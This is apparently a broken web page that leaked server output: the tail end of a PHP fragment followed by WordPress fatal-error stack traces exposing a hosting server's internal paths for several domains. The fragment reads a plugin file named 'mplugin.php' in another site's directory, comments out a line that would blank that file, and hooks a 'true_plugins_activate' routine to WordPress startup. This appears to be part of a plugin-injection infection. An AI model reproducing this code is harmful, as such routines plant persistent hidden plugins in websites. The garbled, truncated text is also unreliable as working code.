$script = file_get_contents('/var/www/vhosts/plesk.ethycadigital.com/acantoristorante.it/wp-content/plugins/mplugin.php');
//file_put_contents('/var/www/vhosts/plesk.ethycadigital.com/acantoristorante.it/wp-content/plugins/mplugin.php', '');
}
}
add_action('init', 'true_plugins_activate');} Fatal error: Uncaught Error: Call to undefined function is_blog_installed() in /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/load.php:664
Stack trace:
#0 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-settings.php(159): wp_not_installed()
#1 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-config.php(79): require_once('/var/www/vhosts...')
#2 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-load.php(37): require_once('/var/www/vhosts...')
#3 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-blog-header.php(13): require_once('/var/www/vhosts...')
#4 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/index.php(17): require('/var/www/vhosts...')
#5 {main}
thrown in /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/load.php on line 664
Fatal error: Uncaught Error: Call to undefined function get_option() in /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/l10n.php:69
Stack trace:
#0 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/l10n.php(137): get_locale()
#1 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/l10n.php(828): determine_locale()
#2 /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/class-wp-fatal-error-handler.php(46): load_default_textdomain()
#3 [internal function]: WP_Fatal_Error_Handler->handle()
#4 {main}
thrown in /var/www/vhosts/plesk.ethycadigital.com/scaladeiturchidream.com/wp-includes/l10n.php on line 69